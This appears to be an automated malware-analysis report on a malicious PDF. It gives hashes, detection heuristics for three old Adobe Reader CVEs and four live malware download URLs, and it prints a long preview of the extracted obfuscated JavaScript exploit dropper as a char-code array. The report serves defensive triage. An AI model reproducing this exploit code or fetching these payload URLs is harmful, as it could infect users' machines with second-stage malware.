PDF malware analysis — malicious · 631203eea67a08b2

MALICIOUS

PDF

76.0 KB Created: 2009-11-10 19:44:91 Authoring application: PDF Library 10.6.8 (via PDF Library 9.10.9) First seen: 2015-09-29

MD5: a10ee20be36f994dc6fc3fbfeccc9350 SHA-1: fa1a9fb12f1cee5f3893fe4f65ffb630d4c42edc SHA-256: 631203eea67a08b26cd6744855d48dd9298b9815ed50e094187c26abb306f604

592 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits known Adobe Reader vulnerabilities, specifically CVE-2007-5659, CVE-2008-2992, and CVE-2009-0927. The script's primary function is to download and execute a second-stage payload from the provided URLs, indicated by the 'SHELLCODE_DOWNLOAD_URL' heuristic. The embedded JavaScript reconstructs a heap spray behavior and utilizes API sinks like Collab.collectEmailInfo, Collab.getIcon, and util.printf to achieve its malicious objective.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/eiklnx2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/gspz2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/ckxy2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38419 bytes
SHA-256: `d22157a5588bfd78efc5d0d1344cc14071f943cfdabdc2fb6d278a52799197d4`
Preview script First 1,000 lines of the extracted script var cefgku="cefgku";cfilsy="";diko="diko";sqzt='';lkzpdn="";blmnru="blmnru";ablorv="";cnqt=false;var beghpt=44126,bdfgqs=2287,abfgi=true,bcqtwx=false,cdnv=0,adehit=String,ghijlo=adehit['fDr3osm4CshsaWrDCso4dDe4'.replace(/[4DWs3]/g,'')],bayqvz=String,agilp=bayqvz['ePvPahlu'.replace(/[u7Pth]/g,'')],glnvx="17",pjazt="",klsuw=[62,65,58,157,166,165,148,171,154,166,159,87,151,160,169,150,154,171,89,176,146,169,164,167,93,87,157,156,159,96,172,68,59,64,58,174,153,160,157,156,81,95,170,152,163,170,161,101,157,156,159,158,165,159,81,97,81,105,81,115,81,163,150,165,90,178,62,65,58,64,58,176,146,169,164,167,81,98,110,87,170,152,163,170,161,114,62,65,58,64,174,68,59,64,58,176,146,169,164,167,81,116,81,176,146,169,164,167,95,170,166,153,164,171,163,160,159,158,89,103,93,87,157,156,159,102,99,96,108,68,59,64,58,169,150,171,166,169,159,87,170,152,163,170,161,114,62,65,58,180,62,65,62,65,58,157,166,165,148,171,154,166,159,87,166,171,154,163,144,167,163,160,159,171,151,95,90,178,62,65,58,64,167,152,163,87,161,152,170,163,160,152,149,87,110,87,166,165,150,170,148,152,161,156,89,89,86,172,118,121,118,112,86,172,97,103,97,104,86,172,102,109,97,103,86,172,114,104,103,107,86,172,97,103,100,103,86,172,97,103,97,103,86,172,101,103,105,121,86,172,105,121,97,122,86,172,98,122,104,103,86,172,105,121,114,123,86,172,97,111,101,103,86,172,116,106,102,124,86,172,105,121,102,108,86,172,105,121,118,122,86,172,97,111,101,108,86,172,100,106,102,105,86,172,116,104,117,105,86,172,97,106,116,105,86,172,98,103,100,105,86,172,105,103,101,103,86,172,97,103,100,111,86,172,119,108,104,108,86,172,116,105,105,121,86,172,102,123,102,120,86,172,97,107,116,105,86,172,102,108,97,103,86,172,118,122,105,121,86,172,102,104,102,104,86,172,102,109,102,106,86,172,103,103,102,110,86,172,102,123,105,121,86,172,100,106,97,111,86,172,105,121,116,103,86,172,97,122,104,108,86,172,119,124,105,121,86,172,104,109,97,106,86,172,105,121,100,122,86,172,104,111,101,124,86,172,116,125,97,106,86,172,102,104,105,121,86,172,102,105,98,122,86,172,102,104,105,121,86,172,102,105,99,107,86,172,104,104,105,121,86,172,101,124,98,107,86,172,104,108,105,112,86,172,105,121,119,122,86,172,99,103,104,104,86,172,119,110,97,106,86,172,101,120,106,112,86,172,101,105,114,123,86,172,100,121,103,103,86,172,119,122,102,108,86,172,97,107,104,108,86,172,116,103,100,106,86,172,100,110,118,121,86,172,119,125,100,106,86,172,101,108,97,106,86,172,106,110,97,122,86,172,116,125,105,121,86,172,104,108,114,124,86,172,99,121,119,123,86,172,101,125,119,112,86,172,118,111,102,104,86,172,119,125,106,107,86,172,119,125,119,125,86,172,116,106,100,121,86,172,104,107,103,104,86,172,118,121,97,105,86,172,105,121,117,112,86,172,97,122,101,108,86,172,102,124,106,105,86,172,119,105,97,106,86,172,118,103,117,104,86,172,116,109,97,106,86,172,116,112,100,106,86,172,115,110,97,125,86,172,102,125,97,111,86,172,118,104,116,104,86,172,97,106,97,105,86,172,97,106,116,120,86,172,105,121,116,125,86,172,97,106,97,104,86,172,105,112,116,105,86,172,119,111,101,108,86,172,105,121,103,104,86,172,119,111,101,108,86,172,102,124,102,125,86,172,116,112,102,121,86,172,102,108,116,106,86,172,118,122,105,121,86,172,118,111,102,104,86,172,119,125,101,112,86,172,119,125,119,125,86,172,103,111,102,103,86,172,103,103,118,111,86,172,97,107,115,125,86,172,103,122,118,111,86,172,119,125,119,125,86,172,100,106,119,125,86,172,102,105,117,105,86,172,119,125,102,105,86,172,97,111,104,108,86,172,117,103,119,125,86,172,101,108,105,112,86,172,105,121,119,122,86,172,119,122,101,108,86,172,116,106,116,112,86,172,105,121,102,108,86,172,105,106,118,122,86,172,97,122,118,122,86,172,101,108,105,123,86,172,102,103,119,107,86,172,101,108,116,109,86,172,104,108,119,107,86,172,101,108,116,109,86,172,104,105,119,108,86,172,101,108,116,109,86,172,103,122,119,109,86,172,101,108,116,109,86,172,103,123,119,110,86,172,101,108,116,109,86,172,103,125,119,111,86,172,101,108,116,109,86,172,103,124,119,112,86,172,101,108,116,109,86,172,99,124,119,120,86,172,101,108,116,109,86,172,103,107,119,121,86,172,101,108,116,109,86,172,103,122,119,122,86,172,101,108,116,109,86,172,103,122,119,123,86,172,101,108,116,109,86,172,97,103,119,124,86,172,114,103,118,111,86,172,119,125,119,125,86,172,102,103,119,125,86,172,102,123,103,111,86,172,98,104,105,120,86,172,118,111,98,109,86,172,119,125,98,108,86,172,119,125,119,125,86,172,116,107,105,106,86,172,105,108,97,122,86,172,104,107,116,103,86,172,103,120,98,108,86,172,103,120,97,103,86,172,119,125,97,103,86,172,97,122,104,108,86,172,104,108,119,125,86,172,103,120,97,111,86,172,119,125,97,103,86,172,105,108,117,103,86,172,104,108,116,103,86,172,101,103,97,106,86,172,116,106,116,112,86,172,116,103,100,106,86,172,116,106,116,112,86,172,100,106,102,110,86,172,105,121,116,103,86,172,99,107,101,122,86,172,105,121,97,122,86,172,99,107,104,122,86,172,119,122,97,111,86,172,114,120,119,106,86,172,116,106,102,125,86,172,101,122,105,121,86,172,97,107,99,107,86,172,100,112,105,103,86,172,105,121,97,103,86,172,104,107,116,104,86,172,101,103,97,109,86,172,100,111,105,103,86,172,104,108,97,103,86,172,99,121,119,120,86,172,116,106,116,104,86,172,105,121,102,108,86,172,105,106,118,122,86,172,103,107,118,122,86,172,105,123,102,106,86,172,119,103,101,108,86,172,100,106,102,110,86,172,102,103,117,121,86,172,101,108,116,109,86,172,103,121,119,103,86,172,101,108,116,109,86,172,103,108,119,104,86,172,101,108,116,109,86,172,104,105,119,105,86,172,101,108,116,109,86,172,103,124,119,106,86,172,101,108,116,109,86,172,103,108,119,107,86,172,101,108,116,109,86,172,103,122,119,108,86,172,101,108,116,109,86,172,100,106,119,109,86,172,101,108,116,109,86,172,100,105,119,110,86,172,101,108,116,109,86,172,99,124,119,111,86,172,101,108,116,109,86,172,103,107,119,112,86,172,101,108,116,109,86,172,103,122,119,120,86,172,101,108,116,109,86,172,103,122,119,121,86,172,102,123,105,111,86,172,118,111,119,122,86,172,119,125,97,121,86,172,119,125,119,125,86,172,103,111,102,103,86,172,101,106,103,111,86,172,105,124,119,112,86,172,105,103,118,111,86,172,119,125,119,124,86,172,105,121,119,125,86,172,105,123,119,111,86,172,106,122,101,108,86,172,101,107,103,120,86,172,118,111,102,103,86,172,119,125,104,124,86,172,119,125,119,125,86,172,101,108,105,123,86,172,103,120,118,103,86,172,102,103,98,103,86,172,104,106,118,111,86,172,119,125,119,125,86,172,105,106,119,125,86,172,98,122,116,107,86,172,101,108,105,123,86,172,102,103,118,103,86,172,101,108,105,123,86,172,102,103,106,122,86,172,102,106,102,106,86,172,102,106,102,106,86,172,102,106,102,106,86,172,104,108,119,125,86,172,116,110,97,111,86,172,106,122,101,108,86,172,97,103,101,107,86,172,97,103,97,103,86,172,119,125,102,106,86,172,102,125,117,110,86,172,115,109,97,125,86,172,102,121,116,103,86,172,116,106,116,112,86,172,105,121,102,108,86,172,102,104,118,122,86,172,102,106,102,104,86,172,102,110,102,109,86,172,101,105,103,120,86,172,104,105,118,111,86,172,97,103,97,103,86,172,105,121,97,103,86,172,100,106,117,111,86,172,105,108,119,109,86,172,102,112,117,121,86,172,101,108,116,110,86,172,103,104,119,111,86,172,103,108,99,124,86,172,116,110,104,111,86,172,119,122,101,108,86,172,97,103,103,108,86,172,97,103,97,103,86,172,102,109,104,124,86,172,101,108,105,123,86,172,102,103,119,111,86,172,118,111,102,109,86,172,97,103,102,104,86,172,97,103,97,103,86,172,102,103,102,112,86,172,115,104,118,111,86,172,119,125,119,124,86,172,105,108,119,125,86,172,102,112,116,103,86,172,104,107,102,112,86,172,105,123,100,112,86,172,97,104,101,109,86,172,118,111,102,103,86,172,97,103,100,121,86,172,97,103,97,103,86,172,119,111,105,121,86,172,101,108,105,123,86,172,102,103,119,111,86,172,99,104,118,111,86,172,119,125,119,125,86,172,105,108,119,125,86,172,102,112,116,103,86,172,104,107,102,112,86,172,102,110,97,122,86,172,97,104,118,111,86,172,119,125,119,125,86,172,102,112,119,125,86,172,101,107,116,109,86,172,119,125,100,111,86,172,102,103,104,106,86,172,101,108,105,123,86,172,119,124,119,111,86,172,102,111,97,103,86,172,101,108,105,123,86,172,102,103,119,111,86,172,118,111,102,110,86,172,119,124,104,107,86,172,119,125,119,125,86,172,102,112,102,112,86,172,101,109,101,109,86,172,119,106,100,121,86,172,114,120,104,122,86,172,102,124,102,125,86,172,116,112,102,121,86,172,102,108,116,106,86,172,118,122,105,121,86,172,102,106,102,104,86,172,103,103,103,109,86,172,100,105,115,104,86,172,97,103,118,111,86,172,97,103,97,103,86,172,102,111,97,103,86,172,97,111,100,111,86,172,97,106,104,107,86,172,118,121,101,103,86,172,101,103,119,112,86,172,102,123,105,121,86,172,105,103,97,111,86,172,101,105,119,121,86,172,97,111,104,108,86,172,117,121,100,106,86,172,98,111,105,120,86,172,116,106,105,121,86,172,98,110,118,121,86,172,98,111,100,111,86,172,98,104,104,109,86,172,100,106,101,103,86,172,105,107,116,112,86,172,104,107,117,121,86,172,101,103,97,122,86,172,97,111,100,111,86,172,119,121,104,108,86,172,119,124,101,103,86,172,118,121,116,121,86,172,100,106,119,105,86,172,105,112,116,103,86,172,119,122,101,108,86,172,101,108,105,121,86,172,102,121,119,122,86,172,116,106,116,112,86,172,97,105,100,105,86,172,104,107,103,111,86,172,104,103,104,107,86,172,99,125,100,120,86,172,103,123,99,125,86,172,104,105,103,112,86,172,103,125,104,105,86,172,103,125,104,105,86,172,103,108,103,124,86,172,103,125,104,105,86,172,103,112,103,109,86,172,103,108,104,109,86,172,103,106,99,124,86,172,103,123,103,125,86,172,104,106,99,125,86,172,103,108,103,122,86,172,104,103,103,108,86,172,103,108,99,125,86,172,103,121,103,112,86,172,103,124,103,122,86,172,100,105,104,111,86,172,103,108,99,124,86,172,103,108,104,111,86,172,103,111,97,103,86,172,104,107,104,107,86,172,100,120,104,103,86,172,99,125,99,125,86,172,103,112,103,123,86,172,104,105,104,105,86,172,104,105,103,125,86,172,103,124,103,125,86,172,104,105,103,108,86,172,103,109,103,125,86,172,104,109,103,112,86,172,99,124,103,108,86,172,103,125,103,106,86,172,99,125,103,123,86,172,103,122,104,106,86,172,103,108,103,108,86,172,99,125,104,103,86,172,103,122,103,106,86,172,103,106,103,112,86,172,99,124,103,121,86,172,103,111,104,103,86,172,100,125,104,103,86,172,100,123,104,105,86,172,97,103,97,103,83,96,108,68,59,64,58,173,146,169,81,165,160,167,81,116,81,172,159,156,164,154,146,167,150,95,83,92,166,103,114,103,114,92,166,103,114,103,114,92,166,103,114,103,114,92,166,103,114,103,114,89,90,68,59,64,58,173,146,169,81,159,150,152,161,153,157,166,148,162,81,116,81,165,160,167,81,98,81,167,146,176,157,166,146,155,108,68,59,64,58,173,146,169,81,153,154,158,147,163,160,154,156,87,110,87,166,165,150,170,148,152,161,156,89,89,86,172,97,120,97,120,86,172,97,120,97,120,83,96,108,68,59,64,58,173,146,169,81,159,150,152,149,156,163,170,154,177,150,87,110,87,99,103,108,68,59,64,58,173,146,169,81,170,161,169,146,176,81,116,81,159,150,152,149,156,163,170,154,177,150,87,92,87,153,156,146,167,147,163,160,154,156,101,157,156,159,158,165,159,108,68,59,64,58,174,153,160,157,156,81,95,147,160,152,153,157,166,148,162,95,163,150,165,152,171,153,87,109,87,164,167,163,152,170,96,172,68,59,64,58,64,147,160,152,153,157,166,148,162,81,98,110,87,147,160,152,153,157,166,148,162,108,68,59,64,58,180,62,65,58,64,167,152,163,87,151,160,157,163,147,163,160,154,156,87,110,87,147,160,152,153,157,166,148,162,95,170,166,153,164,171,163,160,159,158,89,103,93,87,164,167,163,152,170,96,108,68,59,64,58,173,146,169,81,153,157,166,148,162,81,116,81,153,154,158,147,163,160,154,156,101,164,172,147,170,165,169,154,165,152,95,97,99,81,153,154,158,147,163,160,154,156,101,157,156,159,158,165,159,94,170,161,169,146,176,90,114,62,65,58,64,168,159,154,163,150,87,89,153,157,166,148,162,95,163,150,165,152,171,153,98,164,167,163,152,170,87,109,87,97,175,101,103,97,103,97,96,172,68,59,64,58,64,147,163,160,154,156,87,110,87,147,163,160,154,156,87,92,87,147,163,160,154,156,87,92,87,151,160,157,163,147,163,160,154,156,114,62,65,58,64,174,68,59,64,58,173,146,169,81,164,150,164,144,152,163,169,146,176,81,116,81,165,150,174,81,120,163,169,146,176,89,96,108,68,59,64,58,157,160,169,81,95,167,152,163,87,154,87,110,87,97,114,81,160,81,115,81,104,101,103,97,114,81,160,92,98,90,178,62,65,58,64,58,164,150,164,144,152,163,169,146,176,140,160,142,87,110,87,147,163,160,154,156,87,92,87,153,156,146,167,147,163,160,154,156,114,62,65,58,64,174,68,59,64,58,173,146,169,81,165,166,164,81,116,81,104,99,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,114,62,65,58,64,166,171,154,163,95,167,163,160,159,171,151,95,83,92,101,108,97,103,97,157,83,99,81,165,166,164,90,114,62,65,58,180,62,65,62,65,58,157,166,165,148,171,154,166,159,87,148,166,157,163,146,153,144,156,158,152,154,163,89,96,172,68,59,64,58,173,146,169,81,170,153,156,157,163,148,166,149,156,81,116,81,172,159,156,164,154,146,167,150,95,83,92,166,124,115,124,106,92,166,103,97,103,98,92,166,108,103,103,97,92,166,120,98,109,101,92,166,103,97,106,97,92,166,103,97,103,97,92,166,107,97,111,115,92,166,111,115,103,116,92,166,104,116,110,97,92,166,111,115,120,117,92,166,103,105,107,97,92,166,122,100,108,118,92,166,111,115,108,102,92,166,111,115,124,116,92,166,103,105,107,102,92,166,106,100,108,99,92,166,122,98,123,99,92,166,103,100,122,99,92,166,104,97,106,99,92,166,111,97,107,97,92,166,103,97,106,105,92,166,125,102,110,102,92,166,122,99,111,115,92,166,108,117,108,114,92,166,103,101,122,99,92,166,108,102,103,97,92,166,124,116,111,115,92,166,108,98,108,98,92,166,108,103,108,100,92,166,109,97,108,104,92,166,108,117,111,115,92,166,106,100,103,105,92,166,111,115,122,97,92,166,103,116,110,102,92,166,125,118,111,115,92,166,110,103,103,100,92,166,111,115,106,116,92,166,110,105,107,118,92,166,122,119,103,100,92,166,108,98,111,115,92,166,108,99,104,116,92,166,108,98,111,115,92,166,108,99,105,101,92,166,110,98,111,115,92,166,107,118,104,101,92,166,110,102,111,106,92,166,111,115,125,116,92,166,105,97,110,98,92,166,125,104,103,100,92,166,107,114,112,106,92,166,107,99,120,117,92,166,106,115,109,97,92,166,125,116,108,102,92,166,103,101,110,102,92,166,122,97,106,100,92,166,106,104,124,115,92,166,125,119,106,100,92,166,107,102,103,100,92,166,112,104,103,116,92,166,122,119,111,115,92,166,110,102,120,118,92,166,105,115,125,117,92,166,107,119,125,106,92,166,124,105,108,98,92,166,125,119,112,101,92,166,125,119,125,119,92,166,122,100,106,115,92,166,110,101,109,98,92,166,124,115,103,99,92,166,111,115,123,106,92,166,103,116,107,102,92,166,108,118,112,99,92,166,125,99,103,100,92,166,124,97,123,98,92,166,122,103,103,100,92,166,122,106,106,100,92,166,121,104,103,119,92,166,108,119,103,105,92,166,124,98,122,98,92,166,103,100,103,99,92,166,103,100,122,114,92,166,111,115,122,119,92,166,103,100,103,98,92,166,111,106,122,99,92,166,125,105,107,102,92,166,111,115,109,98,92,166,125,105,107,102,92,166,108,118,108,119,92,166,122,106,108,115,92,166,108,102,122,100,92,166,124,116,111,115,92,166,124,105,108,98,92,166,125,119,107,106,92,166,125,119,125,119,92,166,109,105,108,97,92,166,109,97,124,105,92,166,103,101,121,119,92,166,109,116,124,105,92,166,125,119,125,119,92,166,106,100,125,119,92,166,108,99,123,99,92,166,125,119,108,99,92,166,103,105,110,102,92,166,123,97,125,119,92,166,107,102,111,106,92,166,111,115,125,116,92,166,125,116,107,102,92,166,122,100,122,106,92,166,111,115,108,102,92,166,111,100,124,116,92,166,103,116,124,116,92,166,107,102,111,117,92,166,108,97,125,101,92,166,107,102,122,103,92,166,110,102,125,101,92,166,107,102,122,103,92,166,110,99,125,102,92,166,107,102,122,103,92,166,109,116,125,103,92,166,107,102,122,103,92,166,109,117,125,104,92,166,107,102,122,103,92,166,109,119,125,105,92,166,107,102,122,103,92,166,109,118,125,106,92,166,107,102,122,103,92,166,105,118,125,114,92,166,107,102,122,103,92,166,109,101,125,115,92,166,107,102,122,103,92,166,109,116,125,116,92,166,107,102,122,103,92,166,109,116,125,117,92,166,107,102,122,103,92,166,103,97,125,118,92,166,120,97,124,105,92,166,125,119,125,119,92,166,108,97,125,119,92,166,108,117,109,105,92,166,104,98,111,114,92,166,124,105,104,103,92,166,125,119,104,102,92,166,125,119,125,119,92,166,122,101,111,100,92,166,111,102,103,116,92,166,110,101,122,97,92,166,109,114,104,102,92,166,109,114,103,97,92,166,125,119,103,97,92,166,103,116,110,102,92,166,110,102,125,119,92,166,109,114,103,105,92,166,125,119,103,97,92,166,111,102,123,97,92,166,110,102,122,97,92,166,107,97,103,100,92,166,122,100,122,106,92,166,122,97,106,100,92,166,122,100,122,106,92,166,106,100,108,104,92,166,111,115,122,97,92,166,105,101,107,116,92,166,111,115,103,116,92,166,105,101,110,116,92,166,125,116,103,105,92,166,120,114,125,100,92,166,122,100,108,119,92,166,107,116,111,115,92,166,103,101,105,101,92,166,106,106,111,97,92,166,111,115,103,97,92,166,110,101,122,98,92,166,107,97,103,103,92,166,106,105,111,97,92,166,110,102,103,97,92,166,105,115,125,114,92,166,122,100,122,98,92,166,111,115,108,102,92,166,111,100,124,116,92,166,109,101,124,116,92,166,111,117,108,100,92,166,125,97,107,102,92,166,106,100,108,104,92,166,108,97,123,115,92,166,107,102,122,103,92,166,109,115,125,97,92,166,107,102,122,103,92,166,109,102,125,98,92,166,107,102,122,103,92,166,110,99,125,99,92,166,107,102,122,103,92,166,109,118,125,100,92,166,107,102,122,103,92,166,109,102,125,101,92,166,107,102,122,103,92,166,109,116,125,102,92,166,107,102,122,103,92,166,106,100,125,103,92,166,107,102,122,103,92,166,106,99,125,104,92,166,107,102,122,103,92,166,105,118,125,105,92,166,107,102,122,103,92,166,109,101,125,106,92,166,107,102,122,103,92,166,109,116,125,114,92,166,107,102,122,103,92,166,109,116,125,115,92,166,108,117,111,105,92,166,124,105,125,116,92,166,125,119,103,115,92,166,125,119,125,119,92,166,109,105,108,97,92,166,107,100,109,105,92,166,111,118,125,106,92,166,111,97,124,105,92,166,125,119,125,118,92,166,111,115,125,119,92,166,111,117,125,105,92,166,112,116,107,102,92,166,107,101,109,114,92,166,124,105,108,97,92,166,125,119,110,118,92,166,125,119,125,119,92,166,107,102,111,117,92,166,109,114,124,97,92,166,108,97,104,97,92,166,110,100,124,105,92,166,125,119,125,119,92,166,111,100,125,119,92,166,104,116,122,101,92,166,107,102,111,117,92,166,108,97,124,97,92,166,107,102,111,117,92,166,108,97,112,116,92,166,108,100,108,100,92,166,108,100,108,100,92,166,108,100,108,100,92,166,110,102,125,119,92,166,122,104,103,105,92,166,112,116,107,102,92,166,103,97,107,101,92,166,103,97,103,97,92,166,125,119,108,100,92,166,108,119,123,104,92,166,121,103,103,119,92,166,108,115,122,97,92,166,122,100,122,106,92,166,111,115,108,102,92,166,108,98,124,116,92,166,108,100,108,98,92,166,108,104,108,103,92,166,107,99,109,114,92,166,110,99,124,105,92,166,103,97,103,97,92,166,111,115,103,97,92,166,106,100,123,105,92,166,111,102,125,103,92,166,108,106,123,115,92,166,107,102,122,104,92,166,109,98,125,105,92,166,109,102,105,118,92,166,122,104,110,105,92,166,125,116,107,102,92,166,103,97,109,102,92,166,103,97,103,97,92,166,108,103,110,118,92,166,107,102,111,117,92,166,108,97,125,105,92,166,124,105,108,103,92,166,103,97,108,98,92,166,103,97,103,97,92,166,108,97,108,106,92,166,121,98,124,105,92,166,125,119,125,118,92,166,111,102,125,119,92,166,108,106,122,97,92,166,110,101,108,106,92,166,111,117,106,106,92,166,103,98,107,103,92,166,124,105,108,97,92,166,103,97,106,115,92,166,103,97,103,97,92,166,125,105,111,115,92,166,107,102,111,117,92,166,108,97,125,105,92,166,105,98,124,105,92,166,125,119,125,119,92,166,111,102,125,119,92,166,108,106,122,97,92,166,110,101,108,106,92,166,108,104,103,116,92,166,103,98,124,105,92,166,125,119,125,119,92,166,108,106,125,119,92,166,107,101,122,103,92,166,125,119,106,105,92,166,108,97,110,100,92,166,107,102,111,117,92,166,125,118,125,105,92,166,108,105,103,97,92,166,107,102,111,117,92,166,108,97,125,105,92,166,124,105,108,104,92,166,125,118,110,101,92,166,125,119,125,119,92,166,108,106,108,106,92,166,107,103,107,103,92,166,125,100,106,115,92,166,120,114,110,116,92,166,108,118,108,119,92,166,122,106,108,115,92,166,108,102,122,100,92,166,124,116,111,115,92,166,108,100,108,98,92,166,109,97,109,103,92,166,106,99,121,98,92,166,103,97,124,105,92,166,103,97,103,97,92,166,108,105,103,97,92,166,103,105,106,105,92,166,103,100,110,101,92,166,124,115,107,97,92,166,107,97,125,106,92,166,108,117,111,115,92,166,111,97,103,105,92,166,107,99,125,115,92,166,103,105,110,102,92,166,123,115,106,100,92,166,104,105,111,114,92,166,122,100,111,115,92,166,104,104,124,115,92,166,104,105,106,105,92,166,104,98,110,103,92,166,106,100,107,97,92,166,111,101,122,106,92,166,110,101,123,115,92,166,107,97,103,116,92,166,103,105,106,105,92,166,125,115,110,102,92,166,125,118,107,97,92,166,124,115,122,115,92,166,106,100,125,99,92,166,111,106,122,97,92,166,125,116,107,102,92,166,107,102,111,115,92,166,108,115,125,116,92,166,122,100,122,106,92,166,103,99,106,99,92,166,110,101,109,105,92,166,110,97,110,101,92,166,105,119,106,114,92,166,109,117,105,119,92,166,110,99,109,106,92,166,109,119,110,99,92,166,109,119,110,99,92,166,109,102,109,118,92,166,109,119,110,99,92,166,109,106,109,103,92,166,109,102,110,103,92,166,109,100,105,118,92,166,109,117,109,119,92,166,110,100,105,119,92,166,109,102,109,116,92,166,110,97,109,102,92,166,109,104,105,119,92,166,110,97,110,100,92,166,106,99,110,114,92,166,109,102,105,118,92,166,109,102,110,105,92,166,109,105,103,97,92,166,110,101,110,101,92,166,106,114,110,97,92,166,105,119,105,119,92,166,109,106,109,117,92,166,110,99,110,99,92,166,110,99,109,119,92,166,109,118,109,119,92,166,110,99,109,102,92,166,109,103,109,119,92,166,110,103,109,106,92,166,105,118,109,102,92,166,109,119,109,100,92,166,105,119,109,117,92,166,109,116,110,100,92,166,109,102,109,102,92,166,105,119,110,97,92,166,109,116,109,100,92,166,109,100,109,106,92,166,105,118,109,115,92,166,109,105,110,97,92,166,106,119,110,97,92,166,106,117,110,99,92,166,103,97,103,97,89,90,114,62,65,58,64,167,152,163,87,158,156,158,150,146,169,163,152,170,87,110,87,159,156,168,87,114,169,163,152,170,95,90,114,62,65,58,64,167,152,163,87,148,154,81,116,81,103,169,103,148,103,148,103,148,103,148,114,62,65,58,64,167,152,163,87,146,155,149,169,81,116,81,103,169,107,97,103,97,103,97,114,62,65,58,64,167,152,163,87,164,154,144,163,150,165,81,116,81,170,153,156,157,163,148,166,149,156,95,163,150,165,152,171,153,87,91,87,99,114,62,65,58,64,167,152,163,87,157,156,159,87,110,87,146,155,149,169,81,100,81,95,164,154,144,163,150,165,92,103,169,106,105,96,108,68,59,64,58,173,146,169,81,176,146,169,164,167,81,116,81,172,159,156,164